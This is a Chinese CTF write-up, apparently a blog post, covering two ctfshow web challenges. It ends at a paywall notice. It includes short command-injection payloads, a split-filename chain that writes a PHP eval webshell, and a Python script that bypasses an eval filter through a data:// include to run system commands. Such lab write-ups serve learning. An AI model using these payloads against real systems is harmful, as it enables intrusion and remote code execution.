我们要学习且不断努力,在ctfshow我又学习到了很多东西,弥补了自己不少基础
目录
web1 这里面的链接的链接值得学习
七夕杯-web
1.web签到
这个我是看别人的wp,第一次遇到这种有点懵,仅支持较短命令执行,且不会回显。
通过测试我们可以知道他只能运行7位以内及7位的命令,还是挺短的
第一种解法:
参考:yu22x的博客
通过将命令写进文件中,访问得到命令运行的内容
ls />a
运行后,去访问http://url/api/a得到a文件,查看得到命令运行的内容

从这里我们就看到的了flag,但是因为长度限制的问题,我们就要运用linux系统的通配符
cat /*>a
这是我们正常思维执行,通过cat命令来读取/目录下所有文件,但是这一串的长度已经大于7了
有没有刚好小一位的呢,有,就是nl
正好我们进行扩展一下,当cat命令不能使用,我们还能使用tac、more、nl之类的
以及还能使用通配符列如cat命令是在/usr/bin/cat这里
我们就能使用/???/???/c?t这样之类的来充cat使用
最终payload为
nl /*>a
第二种解法:
这个我就不详细讲了可以参考CTF长度限制命令执行
payload为
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0
这个相当于执行0这个文件,0这个文件按照命令,将一个木马写进了,1.php里面
就是命令执行的思路
2.easy_calc
现将代码都截取下来
<?php
if(check($code)){
eval('$result='."$code".";");
echo($result);
}
function check(&$code){
$num1=$_POST['num1'];
$symbol=$_POST['symbol'];
$num2=$_POST['num2'];
if(!isset($num1) || !isset($num2) || !isset($symbol) ){
return false;
}
if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){
return false;
}
if(preg_match("/^[\+\-\*\/]$/", $symbol)){
$code = "$num1$symbol$num2";
return true;
}
return false;
}
分析一下,用POST的方式传进去三个参数分别为num1,sysmbo1,num2
preg_match函数进行匹配,三个参数的内容里面必须有/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/ 中最少一个符号否则就输出false
匹配sysmbo1中,必须有+ / * - 之一,之后将三个参数和在一块,eval()运行
这让我想起了data的伪协议,正好没有被过滤,真的有这么巧吗
我们尝试一下
写一个脚本,方便修改尝试
额,忘记说明了,这三个参数都是calc.php的,大家通过抓包的时候就可以知道
我是这样写的
import requests
s = requests.Session()
url = "http://df917a09-dfd8-4022-9fab-27489fccbdf5.challenge.ctf.show/calc.php"
data = {
'num1': 'include "data:/',
'symbol': '/',
'num2': 'text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsnMSddKTs/Pg"'
}
url2=url+'?1=system("ls");'
a = s.post(url2, data=data).text
print(a)
得到了,这三个文件
calc.php
index.php
jquery.min.js
看来没有我们的flag
看看根目录
有这么一些东西,也是没有直接显示我们的flag
但是吧,怎么就突然多了一个secret目录我很好奇,ls看一下

本文分享了作者在多个CTF比赛中的Web挑战经验,包括利用命令执行漏洞、SQL注入、文件包含等技巧破解挑战的过程,并提供了详细的解题思路。

最低0.47元/天 解锁文章
2338

被折叠的 条评论
为什么被折叠?



